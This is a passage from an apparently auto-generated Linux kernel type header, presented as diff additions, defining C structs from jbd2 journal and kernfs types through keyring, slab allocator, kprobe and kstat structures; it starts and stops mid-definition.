jbd2_journal_block_tail { + __be32 t_checksum; +}; + +typedef struct journal_s journal_t; + +struct jbd2_journal_handle { + union { + transaction_t *h_transaction; + journal_t *h_journal; + }; + handle_t *h_rsv_handle; + int h_total_credits; + int h_revoke_credits; + int h_revoke_credits_requested; + int h_ref; + int h_err; + unsigned int h_sync: 1; + unsigned int h_jdata: 1; + unsigned int h_reserved: 1; + unsigned int h_aborted: 1; + unsigned int h_type: 8; + unsigned int h_line_no: 16; + unsigned long h_start_jiffies; + unsigned int h_requested_credits; + unsigned int saved_alloc_context; +}; + +struct journal_header_s { + __be32 h_magic; + __be32 h_blocktype; + __be32 h_sequence; +}; + +typedef struct journal_header_s journal_header_t; + +struct jbd2_journal_revoke_header_s { + journal_header_t r_header; + __be32 r_count; +}; + +typedef struct jbd2_journal_revoke_header_s jbd2_journal_revoke_header_t; + +struct jbd2_revoke_record_s { + struct list_head hash; + tid_t sequence; + unsigned long long blocknr; +}; + +struct jbd2_revoke_table_s { + int hash_size; + int hash_shift; + struct list_head *hash_table; +}; + +struct transaction_stats_s; + +struct jbd2_stats_proc_session { + journal_t *journal; + struct transaction_stats_s *stats; + int start; + int max; +}; + +struct jit_context { + int cleanup_addr; + int tail_call_direct_label; + int tail_call_indirect_label; +}; + +struct rand_data; + +struct shash_desc; + +struct jitterentropy { + spinlock_t jent_lock; + struct rand_data *entropy_collector; + struct crypto_shash *tfm; + struct shash_desc *sdesc; +}; + +struct journal_block_tag3_s { + __be32 t_blocknr; + __be32 t_flags; + __be32 t_blocknr_high; + __be32 t_checksum; +}; + +typedef struct journal_block_tag3_s journal_block_tag3_t; + +struct journal_block_tag_s { + __be32 t_blocknr; + __be16 t_checksum; + __be16 t_flags; + __be32 t_blocknr_high; +}; + +typedef struct journal_block_tag_s journal_block_tag_t; + +struct journal_head { + struct buffer_head *b_bh; + spinlock_t b_state_lock; + int b_jcount; + unsigned int b_jlist; + unsigned int b_modified; + char *b_frozen_data; + char *b_committed_data; + transaction_t *b_transaction; + transaction_t *b_next_transaction; + struct journal_head *b_tnext; + struct journal_head *b_tprev; + transaction_t *b_cp_transaction; + struct journal_head *b_cpnext; + struct journal_head *b_cpprev; + struct jbd2_buffer_trigger_type *b_triggers; + struct jbd2_buffer_trigger_type *b_frozen_triggers; +}; + +struct transaction_run_stats_s { + unsigned long rs_wait; + unsigned long rs_request_delay; + unsigned long rs_running; + unsigned long rs_locked; + unsigned long rs_flushing; + unsigned long rs_logging; + __u32 rs_handle_count; + __u32 rs_blocks; + __u32 rs_blocks_logged; +}; + +struct transaction_stats_s { + unsigned long ts_tid; + unsigned long ts_requested; + struct transaction_run_stats_s run; +}; + +struct journal_superblock_s; + +typedef struct journal_superblock_s journal_superblock_t; + +struct journal_s { + unsigned long j_flags; + int j_errno; + struct mutex j_abort_mutex; + struct buffer_head *j_sb_buffer; + journal_superblock_t *j_superblock; + rwlock_t j_state_lock; + int j_barrier_count; + struct mutex j_barrier; + transaction_t *j_running_transaction; + transaction_t *j_committing_transaction; + transaction_t *j_checkpoint_transactions; + wait_queue_head_t j_wait_transaction_locked; + wait_queue_head_t j_wait_done_commit; + wait_queue_head_t j_wait_commit; + wait_queue_head_t j_wait_updates; + wait_queue_head_t j_wait_reserved; + wait_queue_head_t j_fc_wait; + struct mutex j_checkpoint_mutex; + struct buffer_head *j_chkpt_bhs[64]; + struct shrinker *j_shrinker; + struct percpu_counter j_checkpoint_jh_count; + transaction_t *j_shrink_transaction; + unsigned long j_head; + unsigned long j_tail; + unsigned long j_free; + unsigned long j_first; + unsigned long j_last; + unsigned long j_fc_first; + unsigned long j_fc_off; + unsigned long j_fc_last; + struct block_device *j_dev; + int j_blocksize; + unsigned long long j_blk_offset; + char j_devname[56]; + struct block_device *j_fs_dev; + errseq_t j_fs_dev_wb_err; + unsigned int j_total_len; + atomic_t j_reserved_credits; + spinlock_t j_list_lock; + struct inode *j_inode; + tid_t j_tail_sequence; + tid_t j_transaction_sequence; + tid_t j_commit_sequence; + tid_t j_commit_request; + __u8 j_uuid[16]; + struct task_struct *j_task; + int j_max_transaction_buffers; + int j_revoke_records_per_block; + int j_transaction_overhead_buffers; + unsigned long j_commit_interval; + struct timer_list j_commit_timer; + spinlock_t j_revoke_lock; + struct jbd2_revoke_table_s *j_revoke; + struct jbd2_revoke_table_s *j_revoke_table[2]; + struct buffer_head **j_wbuf; + struct buffer_head **j_fc_wbuf; + int j_wbufsize; + int j_fc_wbufsize; + pid_t j_last_sync_writer; + u64 j_average_commit_time; + u32 j_min_batch_time; + u32 j_max_batch_time; + void (*j_commit_callback)(journal_t *, transaction_t *); + int (*j_submit_inode_data_buffers)(struct jbd2_inode *); + int (*j_finish_inode_data_buffers)(struct jbd2_inode *); + spinlock_t j_history_lock; + struct proc_dir_entry *j_proc_entry; + struct transaction_stats_s j_stats; + unsigned int j_failed_commit; + void *j_private; + struct crypto_shash *j_chksum_driver; + __u32 j_csum_seed; + struct lockdep_map j_trans_commit_map; + void (*j_fc_cleanup_callback)(struct journal_s *, int, tid_t); + int (*j_fc_replay_callback)(struct journal_s *, struct buffer_head *, enum passtype, int, tid_t); + int (*j_bmap)(struct journal_s *, sector_t *); +}; + +struct journal_superblock_s { + journal_header_t s_header; + __be32 s_blocksize; + __be32 s_maxlen; + __be32 s_first; + __be32 s_sequence; + __be32 s_start; + __be32 s_errno; + __be32 s_feature_compat; + __be32 s_feature_incompat; + __be32 s_feature_ro_compat; + __u8 s_uuid[16]; + __be32 s_nr_users; + __be32 s_dynsuper; + __be32 s_max_transaction; + __be32 s_max_trans_data; + __u8 s_checksum_type; + __u8 s_padding2[3]; + __be32 s_num_fc_blks; + __be32 s_head; + __u32 s_padding[40]; + __be32 s_checksum; + __u8 s_users[768]; +}; + +struct jump_entry { + s32 code; + s32 target; + long key; +}; + +struct jump_label_patch { + const void *code; + int size; +}; + +struct k10temp_data { + struct pci_dev *pdev; + void (*read_htcreg)(struct pci_dev *, u32 *); + void (*read_tempreg)(struct pci_dev *, u32 *); + int temp_offset; + u32 temp_adjust_mask; + u32 show_temp; + bool is_zen; + u32 ccd_offset; + bool disp_negative; +}; + +struct k_itimer; + +struct k_clock { + int (*clock_getres)(const clockid_t, struct timespec64 *); + int (*clock_set)(const clockid_t, const struct timespec64 *); + int (*clock_get_timespec)(const clockid_t, struct timespec64 *); + ktime_t (*clock_get_ktime)(const clockid_t); + int (*clock_adj)(const clockid_t, struct __kernel_timex *); + int (*timer_create)(struct k_itimer *); + int (*nsleep)(const clockid_t, int, const struct timespec64 *); + int (*timer_set)(struct k_itimer *, int, struct itimerspec64 *, struct itimerspec64 *); + int (*timer_del)(struct k_itimer *); + void (*timer_get)(struct k_itimer *, struct itimerspec64 *); + void (*timer_rearm)(struct k_itimer *); + s64 (*timer_forward)(struct k_itimer *, ktime_t); + ktime_t (*timer_remaining)(struct k_itimer *, ktime_t); + int (*timer_try_to_cancel)(struct k_itimer *); + void (*timer_arm)(struct k_itimer *, ktime_t, bool, bool); + void (*timer_wait_running)(struct k_itimer *); +}; + +struct signal_struct; + +struct sigqueue; + +struct k_itimer { + struct hlist_node list; + struct hlist_node t_hash; + spinlock_t it_lock; + const struct k_clock *kclock; + clockid_t it_clock; + timer_t it_id; + int it_active; + s64 it_overrun; + s64 it_overrun_last; + int it_requeue_pending; + int it_sigev_notify; + ktime_t it_interval; + struct signal_struct *it_signal; + union { + struct pid *it_pid; + struct task_struct *it_process; + }; + struct sigqueue *sigq; + union { + struct { + struct hrtimer timer; + } real; + struct cpu_timer cpu; + struct { + struct alarm alarmtimer; + } alarm; + } it; + struct callback_head rcu; +}; + +typedef void __signalfn_t(int); + +typedef __signalfn_t __attribute__((btf_type_tag("user"))) *__sighandler_t; + +typedef void __restorefn_t(void); + +typedef __restorefn_t __attribute__((btf_type_tag("user"))) *__sigrestore_t; + +struct sigaction { + __sighandler_t sa_handler; + unsigned long sa_flags; + __sigrestore_t sa_restorer; + sigset_t sa_mask; +}; + +struct k_sigaction { + struct sigaction sa; +}; + +struct kallsym_iter { + loff_t pos; + loff_t pos_mod_end; + loff_t pos_ftrace_mod_end; + loff_t pos_bpf_end; + unsigned long value; + unsigned int nameoff; + char type; + char name[512]; + char module_name[56]; + int exported; + int show_value; +}; + +struct kallsyms_data { + unsigned long *addrs; + const char **syms; + size_t cnt; + size_t found; +}; + +struct karatsuba_ctx { + struct karatsuba_ctx *next; + mpi_ptr_t tspace; + mpi_size_t tspace_size; + mpi_ptr_t tp; + mpi_size_t tp_size; +}; + +struct kbd_repeat { + int delay; + int period; +}; + +struct kbd_struct { + unsigned char lockstate; + unsigned char slockstate; + unsigned char ledmode: 1; + unsigned char ledflagstate: 4; + char: 3; + unsigned char default_ledflagstate: 4; + unsigned char kbdmode: 3; + int: 1; + unsigned char modeflags: 5; +}; + +struct kbdiacr { + unsigned char diacr; + unsigned char base; + unsigned char result; +}; + +struct kbdiacrs { + unsigned int kb_cnt; + struct kbdiacr kbdiacr[256]; +}; + +struct kbdiacruc { + unsigned int diacr; + unsigned int base; + unsigned int result; +}; + +struct kbdiacrsuc { + unsigned int kb_cnt; + struct kbdiacruc kbdiacruc[256]; +}; + +struct kbentry { + unsigned char kb_table; + unsigned char kb_index; + unsigned short kb_value; +}; + +struct kbkeycode { + unsigned int scancode; + unsigned int keycode; +}; + +struct kbsentry { + unsigned char kb_func; + unsigned char kb_string[512]; +}; + +typedef void (*dm_kcopyd_notify_fn)(int, unsigned long, void *); + +struct kcopyd_job { + struct dm_kcopyd_client *kc; + struct list_head list; + unsigned int flags; + int read_err; + unsigned long write_err; + enum req_op op; + struct dm_io_region source; + unsigned int num_dests; + struct dm_io_region dests[8]; + struct page_list *pages; + dm_kcopyd_notify_fn fn; + void *context; + struct mutex lock; + atomic_t sub_jobs; + sector_t progress; + sector_t write_offset; + struct kcopyd_job *master_job; +}; + +struct kcore_list { + struct list_head list; + unsigned long addr; + size_t size; + int type; +}; + +struct kern_ipc_perm { + spinlock_t lock; + bool deleted; + int id; + key_t key; + kuid_t uid; + kgid_t gid; + kuid_t cuid; + kgid_t cgid; + umode_t mode; + unsigned long seq; + void *security; + struct rhash_head khtnode; + struct callback_head rcu; + refcount_t refcount; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct kernel_clone_args { + u64 flags; + int __attribute__((btf_type_tag("user"))) *pidfd; + int __attribute__((btf_type_tag("user"))) *child_tid; + int __attribute__((btf_type_tag("user"))) *parent_tid; + const char *name; + int exit_signal; + u32 kthread: 1; + u32 io_thread: 1; + u32 user_worker: 1; + u32 no_files: 1; + unsigned long stack; + unsigned long stack_size; + unsigned long tls; + pid_t *set_tid; + size_t set_tid_size; + int cgroup; + int idle; + int (*fn)(void *); + void *fn_arg; + struct cgroup *cgrp; + struct css_set *cset; +}; + +struct kernel_cpustat { + u64 cpustat[11]; +}; + +struct kernel_ethtool_ringparam { + u32 rx_buf_len; + u8 tcp_data_split; + u8 tx_push; + u8 rx_push; + u32 cqe_size; + u32 tx_push_buf_len; + u32 tx_push_buf_max_len; +}; + +struct kernel_ethtool_ts_info { + u32 cmd; + u32 so_timestamping; + int phc_index; + enum hwtstamp_tx_types tx_types; + enum hwtstamp_rx_filters rx_filters; +}; + +struct kernel_hwtstamp_config { + int flags; + int tx_type; + int rx_filter; + struct ifreq *ifr; + bool copied_to_user; + enum hwtstamp_source source; +}; + +struct kernel_param_ops; + +struct kparam_string; + +struct kparam_array; + +struct kernel_param { + const char *name; + struct module *mod; + const struct kernel_param_ops *ops; + const u16 perm; + s8 level; + u8 flags; + union { + void *arg; + const struct kparam_string *str; + const struct kparam_array *arr; + }; +}; + +struct kernel_param_ops { + unsigned int flags; + int (*set)(const char *, const struct kernel_param *); + int (*get)(char *, const struct kernel_param *); + void (*free)(void *); +}; + +struct kernel_pkey_params { + struct key *key; + const char *encoding; + const char *hash_algo; + char *info; + __u32 in_len; + union { + __u32 out_len; + __u32 in2_len; + }; + enum kernel_pkey_operation op: 8; +}; + +struct kernel_pkey_query { + __u32 supported_ops; + __u32 key_size; + __u16 max_data_size; + __u16 max_sig_size; + __u16 max_enc_size; + __u16 max_dec_size; +}; + +struct kernel_siginfo { + struct { + int si_signo; + int si_errno; + int si_code; + union __sifields _sifields; + }; +}; + +struct kernel_stat { + unsigned long irqs_sum; + unsigned int softirqs[10]; +}; + +struct kernel_symbol { + int value_offset; + int name_offset; + int namespace_offset; +}; + +struct kernel_vm86_regs { + struct pt_regs pt; + unsigned short es; + unsigned short __esh; + unsigned short ds; + unsigned short __dsh; + unsigned short fs; + unsigned short __fsh; + unsigned short gs; + unsigned short __gsh; +}; + +struct kernfs_open_node; + +struct kernfs_elem_attr { + const struct kernfs_ops *ops; + struct kernfs_open_node __attribute__((btf_type_tag("rcu"))) *open; + loff_t size; + struct kernfs_node *notify_next; +}; + +struct kernfs_elem_dir { + unsigned long subdirs; + struct rb_root children; + struct kernfs_root *root; + unsigned long rev; +}; + +struct kernfs_elem_symlink { + struct kernfs_node *target_kn; +}; + +struct kernfs_global_locks { + struct mutex open_file_mutex[1024]; +}; + +struct simple_xattrs { + struct rb_root rb_root; + rwlock_t lock; +}; + +struct kernfs_iattrs { + kuid_t ia_uid; + kgid_t ia_gid; + struct timespec64 ia_atime; + struct timespec64 ia_mtime; + struct timespec64 ia_ctime; + struct simple_xattrs xattrs; + atomic_t nr_user_xattrs; + atomic_t user_xattr_size; +}; + +struct kernfs_node { + atomic_t count; + atomic_t active; + struct lockdep_map dep_map; + struct kernfs_node *parent; + const char *name; + struct rb_node rb; + const void *ns; + unsigned int hash; + unsigned short flags; + umode_t mode; + union { + struct kernfs_elem_dir dir; + struct kernfs_elem_symlink symlink; + struct kernfs_elem_attr attr; + }; + u64 id; + void *priv; + struct kernfs_iattrs *iattr; + struct callback_head rcu; +}; + +struct vm_operations_struct; + +struct kernfs_open_file { + struct kernfs_node *kn; + struct file *file; + struct seq_file *seq_file; + void *priv; + struct mutex mutex; + struct mutex prealloc_mutex; + int event; + struct list_head list; + char *prealloc_buf; + size_t atomic_write_len; + bool mmapped: 1; + bool released: 1; + const struct vm_operations_struct *vm_ops; +}; + +struct kernfs_open_node { + struct callback_head callback_head; + atomic_t event; + wait_queue_head_t poll; + struct list_head files; + unsigned int nr_mmapped; + unsigned int nr_to_release; +}; + +struct kernfs_ops { + int (*open)(struct kernfs_open_file *); + void (*release)(struct kernfs_open_file *); + int (*seq_show)(struct seq_file *, void *); + void * (*seq_start)(struct seq_file *, loff_t *); + void * (*seq_next)(struct seq_file *, void *, loff_t *); + void (*seq_stop)(struct seq_file *, void *); + ssize_t (*read)(struct kernfs_open_file *, char *, size_t, loff_t); + size_t atomic_write_len; + bool prealloc; + ssize_t (*write)(struct kernfs_open_file *, char *, size_t, loff_t); + __poll_t (*poll)(struct kernfs_open_file *, struct poll_table_struct *); + int (*mmap)(struct kernfs_open_file *, struct vm_area_struct *); + loff_t (*llseek)(struct kernfs_open_file *, loff_t, int); +}; + +struct kernfs_syscall_ops; + +struct kernfs_root { + struct kernfs_node *kn; + unsigned int flags; + struct idr ino_idr; + u32 last_id_lowbits; + u32 id_highbits; + struct kernfs_syscall_ops *syscall_ops; + struct list_head supers; + wait_queue_head_t deactivate_waitq; + struct rw_semaphore kernfs_rwsem; + struct rw_semaphore kernfs_iattr_rwsem; + struct rw_semaphore kernfs_supers_rwsem; + struct callback_head rcu; +}; + +struct kernfs_super_info { + struct super_block *sb; + struct kernfs_root *root; + const void *ns; + struct list_head node; +}; + +struct kernfs_syscall_ops { + int (*show_options)(struct seq_file *, struct kernfs_root *); + int (*mkdir)(struct kernfs_node *, const char *, umode_t); + int (*rmdir)(struct kernfs_node *); + int (*rename)(struct kernfs_node *, struct kernfs_node *, const char *); + int (*show_path)(struct seq_file *, struct kernfs_node *, struct kernfs_root *); +}; + +struct kexec_load_limit { + struct mutex mutex; + int limit; +}; + +struct kexec_segment { + union { + void __attribute__((btf_type_tag("user"))) *buf; + void *kbuf; + }; + size_t bufsz; + unsigned long mem; + size_t memsz; +}; + +struct key_type; + +struct key_tag; + +struct keyring_index_key { + unsigned long hash; + union { + struct { + u16 desc_len; + char desc[6]; + }; + unsigned long x; + }; + struct key_type *type; + struct key_tag *domain_tag; + const char *description; +}; + +union key_payload { + void __attribute__((btf_type_tag("rcu"))) *rcu_data0; + void *data[4]; +}; + +struct key_user; + +struct key_restriction; + +struct key { + refcount_t usage; + key_serial_t serial; + union { + struct list_head graveyard_link; + struct rb_node serial_node; + }; + struct rw_semaphore sem; + struct key_user *user; + void *security; + union { + time64_t expiry; + time64_t revoked_at; + }; + time64_t last_used_at; + kuid_t uid; + kgid_t gid; + key_perm_t perm; + unsigned short quotalen; + unsigned short datalen; + short state; + unsigned long flags; + union { + struct keyring_index_key index_key; + struct { + unsigned long hash; + unsigned long len_desc; + struct key_type *type; + struct key_tag *domain_tag; + char *description; + }; + }; + union { + union key_payload payload; + struct { + struct list_head name_link; + struct assoc_array keys; + }; + }; + struct key_restriction *restrict_link; +}; + +struct key_match_data { + bool (*cmp)(const struct key *, const struct key_match_data *); + const void *raw_data; + void *preparsed; + unsigned int lookup_type; +}; + +struct key_parse { + struct key_params p; + int idx; + int type; + bool def; + bool defmgmt; + bool defbeacon; + bool def_uni; + bool def_multi; +}; + +struct key_preparsed_payload { + const char *orig_description; + char *description; + union key_payload payload; + const void *data; + size_t datalen; + size_t quotalen; + time64_t expiry; +}; + +typedef int (*key_restrict_link_func_t)(struct key *, const struct key_type *, const union key_payload *, struct key *); + +struct key_restriction { + key_restrict_link_func_t check; + struct key *key; + struct key_type *keytype; +}; + +struct key_tag { + struct callback_head rcu; + refcount_t usage; + bool removed; +}; + +typedef int (*request_key_actor_t)(struct key *, void *); + +struct key_type { + const char *name; + size_t def_datalen; + unsigned int flags; + int (*vet_description)(const char *); + int (*preparse)(struct key_preparsed_payload *); + void (*free_preparse)(struct key_preparsed_payload *); + int (*instantiate)(struct key *, struct key_preparsed_payload *); + int (*update)(struct key *, struct key_preparsed_payload *); + int (*match_preparse)(struct key_match_data *); + void (*match_free)(struct key_match_data *); + void (*revoke)(struct key *); + void (*destroy)(struct key *); + void (*describe)(const struct key *, struct seq_file *); + long (*read)(const struct key *, char *, size_t); + request_key_actor_t request_key; + struct key_restriction * (*lookup_restriction)(const char *); + int (*asym_query)(const struct kernel_pkey_params *, struct kernel_pkey_query *); + int (*asym_eds_op)(struct kernel_pkey_params *, const void *, void *); + int (*asym_verify_signature)(struct kernel_pkey_params *, const void *, const void *); + struct list_head link; + struct lock_class_key lock_class; +}; + +struct key_user { + struct rb_node node; + struct mutex cons_lock; + spinlock_t lock; + refcount_t usage; + atomic_t nkeys; + atomic_t nikeys; + kuid_t uid; + int qnkeys; + int qnbytes; +}; + +struct key_vector { + t_key key; + unsigned char pos; + unsigned char bits; + unsigned char slen; + union { + struct hlist_head leaf; + struct { + struct {} __empty_tnode; + struct key_vector __attribute__((btf_type_tag("rcu"))) *tnode[0]; + }; + }; +}; + +struct keyboard_notifier_param { + struct vc_data *vc; + int down; + int shift; + int ledstate; + unsigned int value; +}; + +struct keyctl_dh_params { + union { + __s32 private; + __s32 priv; + }; + __s32 prime; + __s32 base; +}; + +struct keyctl_kdf_params { + char __attribute__((btf_type_tag("user"))) *hashname; + char __attribute__((btf_type_tag("user"))) *otherinfo; + __u32 otherinfolen; + __u32 __spare[8]; +}; + +struct keyctl_pkey_params { + __s32 key_id; + __u32 in_len; + union { + __u32 out_len; + __u32 in2_len; + }; + __u32 __spare[7]; +}; + +struct keyctl_pkey_query { + __u32 supported_ops; + __u32 key_size; + __u16 max_data_size; + __u16 max_sig_size; + __u16 max_enc_size; + __u16 max_dec_size; + __u32 __spare[10]; +}; + +struct keyring_read_iterator_context { + size_t buflen; + size_t count; + key_serial_t *buffer; +}; + +struct __key_reference_with_attributes; + +typedef struct __key_reference_with_attributes *key_ref_t; + +struct keyring_search_context { + struct keyring_index_key index_key; + const struct cred *cred; + struct key_match_data match_data; + unsigned int flags; + int (*iterator)(const void *, void *); + int skipped_ret; + bool possessed; + key_ref_t result; + time64_t now; +}; + +struct rcu_gp_oldstate { + unsigned long rgos_norm; + unsigned long rgos_exp; +}; + +struct kfree_rcu_cpu; + +struct kfree_rcu_cpu_work { + struct rcu_work rcu_work; + struct callback_head *head_free; + struct rcu_gp_oldstate head_free_gp_snap; + struct list_head bulk_head_free[2]; + struct kfree_rcu_cpu *krcp; +}; + +struct kfree_rcu_cpu { + struct callback_head *head; + unsigned long head_gp_snap; + atomic_t head_count; + struct list_head bulk_head[2]; + atomic_t bulk_count[2]; + struct kfree_rcu_cpu_work krw_arr[2]; + raw_spinlock_t lock; + struct delayed_work monitor_work; + bool initialized; + struct delayed_work page_cache_work; + atomic_t backoff_page_cache_fill; + atomic_t work_in_progress; + struct hrtimer hrtimer; + struct llist_head bkvcache; + int nr_bkv_objs; +}; + +struct mm_slot { + struct hlist_node hash; + struct list_head mm_node; + struct mm_struct *mm; +}; + +struct khugepaged_mm_slot { + struct mm_slot slot; +}; + +struct khugepaged_scan { + struct list_head mm_head; + struct khugepaged_mm_slot *mm_slot; + unsigned long address; +}; + +struct kimage_arch { + p4d_t *p4d; + pud_t *pud; + pmd_t *pmd; + pte_t *pte; +}; + +struct kimage { + kimage_entry_t head; + kimage_entry_t *entry; + kimage_entry_t *last_entry; + unsigned long start; + struct page *control_code_page; + struct page *swap_page; + void *vmcoreinfo_data_copy; + unsigned long nr_segments; + struct kexec_segment segment[16]; + struct list_head control_pages; + struct list_head dest_pages; + struct list_head unusable_pages; + unsigned long control_page; + unsigned int type: 1; + unsigned int preserve_context: 1; + unsigned int file_mode: 1; + unsigned int hotplug_support: 1; + struct kimage_arch arch; + int hp_action; + int elfcorehdr_index; + bool elfcorehdr_updated; + void *elf_headers; + unsigned long elf_headers_sz; + unsigned long elf_load_addr; +}; + +struct kioctx_cpu; + +struct kioctx { + struct percpu_ref users; + atomic_t dead; + struct percpu_ref reqs; + unsigned long user_id; + struct kioctx_cpu __attribute__((btf_type_tag("percpu"))) *cpu; + unsigned int req_batch; + unsigned int max_reqs; + unsigned int nr_events; + unsigned long mmap_base; + unsigned long mmap_size; + struct folio **ring_folios; + long nr_pages; + struct rcu_work free_rwork; + struct ctx_rq_wait *rq_wait; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct { + atomic_t reqs_available; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct { + spinlock_t ctx_lock; + struct list_head active_reqs; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct { + struct mutex ring_lock; + wait_queue_head_t wait; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct { + unsigned int tail; + unsigned int completed_events; + spinlock_t completion_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct folio *internal_folios[8]; + struct file *aio_ring_file; + unsigned int id; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct kioctx_cpu { + unsigned int reqs_available; +}; + +struct kioctx_table { + struct callback_head rcu; + unsigned int nr; + struct kioctx __attribute__((btf_type_tag("rcu"))) *table[0]; +}; + +struct klist_waiter { + struct list_head list; + struct klist_node *node; + struct task_struct *process; + int woken; +}; + +struct kmalloc_info_struct { + const char *name[4]; + unsigned int size; +}; + +struct kmalloced_param { + struct list_head list; + char val[0]; +}; + +struct kmap_ctrl {}; + +typedef struct kmem_cache *kmem_buckets[14]; + +struct reciprocal_value { + u32 m; + u8 sh1; + u8 sh2; +}; + +struct kmem_cache_order_objects { + unsigned int x; +}; + +struct kmem_cache_cpu; + +struct kmem_cache_node; + +struct kmem_cache { + struct kmem_cache_cpu __attribute__((btf_type_tag("percpu"))) *cpu_slab; + slab_flags_t flags; + unsigned long min_partial; + unsigned int size; + unsigned int object_size; + struct reciprocal_value reciprocal_size; + unsigned int offset; + unsigned int cpu_partial; + unsigned int cpu_partial_slabs; + struct kmem_cache_order_objects oo; + struct kmem_cache_order_objects min; + gfp_t allocflags; + int refcount; + void (*ctor)(void *); + unsigned int inuse; + unsigned int align; + unsigned int red_left_pad; + const char *name; + struct list_head list; + struct kobject kobj; + unsigned int remote_node_defrag_ratio; + struct kmem_cache_node *node[1024]; +}; + +struct kmem_cache_args { + unsigned int align; + unsigned int useroffset; + unsigned int usersize; + unsigned int freeptr_offset; + bool use_freeptr_offset; + void (*ctor)(void *); +}; + +struct kmem_cache_cpu { + union { + struct { + void **freelist; + unsigned long tid; + }; + freelist_aba_t freelist_tid; + }; + struct slab *slab; + struct slab *partial; + local_lock_t lock; +}; + +struct kmem_cache_node { + spinlock_t list_lock; + unsigned long nr_partial; + struct list_head partial; +}; + +struct kmem_obj_info { + void *kp_ptr; + struct slab *kp_slab; + void *kp_objp; + unsigned long kp_data_offset; + struct kmem_cache *kp_slab_cache; + void *kp_ret; + void *kp_stack[16]; + void *kp_free_stack[16]; +}; + +struct kmsg_dump_detail { + enum kmsg_dump_reason reason; + const char *description; +}; + +struct kmsg_dump_iter { + u64 cur_seq; + u64 next_seq; +}; + +struct kmsg_dumper { + struct list_head list; + void (*dump)(struct kmsg_dumper *, struct kmsg_dump_detail *); + enum kmsg_dump_reason max_reason; + bool registered; +}; + +struct probe; + +struct kobj_map { + struct probe *probes[255]; + struct mutex *lock; +}; + +struct kobj_ns_type_operations { + enum kobj_ns_type type; + bool (*current_may_mount)(void); + void * (*grab_current_ns)(void); + const void * (*netlink_ns)(struct sock *); + const void * (*initial_ns)(void); + void (*drop_ns)(void *); +}; + +struct kparam_array { + unsigned int max; + unsigned int elemsize; + unsigned int *num; + const struct kernel_param_ops *ops; + void *elem; +}; + +struct kparam_string { + unsigned int maxlen; + char *string; +}; + +struct kpp_request; + +struct kpp_alg { + int (*set_secret)(struct crypto_kpp *, const void *, unsigned int); + int (*generate_public_key)(struct kpp_request *); + int (*compute_shared_secret)(struct kpp_request *); + unsigned int (*max_size)(struct crypto_kpp *); + int (*init)(struct crypto_kpp *); + void (*exit)(struct crypto_kpp *); + struct crypto_alg base; +}; + +struct kpp_instance { + void (*free)(struct kpp_instance *); + union { + struct { + char head[48]; + struct crypto_instance base; + } s; + struct kpp_alg alg; + }; +}; + +struct kpp_request { + struct crypto_async_request base; + struct scatterlist *src; + struct scatterlist *dst; + unsigned int src_len; + unsigned int dst_len; + void *__ctx[0]; +}; + +typedef int (*kprobe_pre_handler_t)(struct kprobe *, struct pt_regs *); + +typedef void (*kprobe_post_handler_t)(struct kprobe *, struct pt_regs *, unsigned long); + +struct kprobe { + struct hlist_node hlist; + struct list_head list; + unsigned long nmissed; + kprobe_opcode_t *addr; + const char *symbol_name; + unsigned int offset; + kprobe_pre_handler_t pre_handler; + kprobe_post_handler_t post_handler; + kprobe_opcode_t opcode; + struct arch_specific_insn ainsn; + u32 flags; +}; + +struct kprobe_blacklist_entry { + struct list_head list; + unsigned long start_addr; + unsigned long end_addr; +}; + +struct prev_kprobe { + struct kprobe *kp; + unsigned long status; + unsigned long old_flags; + unsigned long saved_flags; +}; + +struct kprobe_ctlblk { + unsigned long kprobe_status; + unsigned long kprobe_old_flags; + unsigned long kprobe_saved_flags; + struct prev_kprobe prev_kprobe; +}; + +struct kprobe_insn_cache { + struct mutex mutex; + void * (*alloc)(void); + void (*free)(void *); + const char *sym; + struct list_head pages; + size_t insn_size; + int nr_garbage; +}; + +struct kprobe_insn_page { + struct list_head list; + kprobe_opcode_t *insns; + struct kprobe_insn_cache *cache; + int nused; + int ngarbage; + char slot_used[0]; +}; + +struct kprobe_trace_entry_head { + struct trace_entry ent; + unsigned long ip; +}; + +struct kretprobe_instance; + +typedef int (*kretprobe_handler_t)(struct kretprobe_instance *, struct pt_regs *); + +struct rethook; + +struct kretprobe { + struct kprobe kp; + kretprobe_handler_t handler; + kretprobe_handler_t entry_handler; + int maxactive; + int nmissed; + size_t data_size; + struct rethook *rh; +}; + +struct kretprobe_blackpoint { + const char *name; + void *addr; +}; + +struct rethook_node { + struct callback_head rcu; + struct llist_node llist; + struct rethook *rethook; + unsigned long ret_addr; + unsigned long frame; +}; + +struct kretprobe_instance { + struct rethook_node node; + char data[0]; +}; + +struct kretprobe_trace_entry_head { + struct trace_entry ent; + unsigned long func; + unsigned long ret_ip; +}; + +struct kset_uevent_ops; + +struct kset { + struct list_head list; + spinlock_t list_lock; + struct kobject kobj; + const struct kset_uevent_ops *uevent_ops; +}; + +struct kset_uevent_ops { + int (* const filter)(const struct kobject *); + const char * (* const name)(const struct kobject *); + int (* const uevent)(const struct kobject *, struct kobj_uevent_env *); +}; + +struct ksignal { + struct k_sigaction ka; + kernel_siginfo_t info; + int sig; +}; + +struct kstat { + u32 result_mask; + umode_t mode; + unsigned int nlink; + uint32_t blksize; + u64 attributes; + u64 attributes_mask; + u64 ino; + dev_t dev; + dev_t rdev; + kuid_t uid; + kgid_t gid; + loff_t size; + struct timespec64 atime; + struct timespec64 mtime; + struct timespec64 ctime; + struct timespec64 btime; + u64 blocks; + u64 mnt_id; + u32 dio_mem_align; + u32 dio_offset_align; + u64 change_cookie; + u64 subvol; + u32 atomic_write_unit_min; + u32 atomic_write_unit_max; + u32 atomic_write_segments_max; +}; + +struct kstatfs { + long f_type; + long f_bsize; + u64 f_blocks; + u64 f_bfree; + u64 f_bavail; + u64 f_files; + u64 f_ffree; + __kernel_fsid_t f_fsid; + long f_namelen; + long f_frsize; + long f_flags; + long f_spare[4]; +}; + +struct statmount { + __u32 size; + __u32 mnt_opts; + __u64 mask; + __u32 sb_dev_major; + __u32 sb_dev_minor; + __u64 sb_magic; + __u32 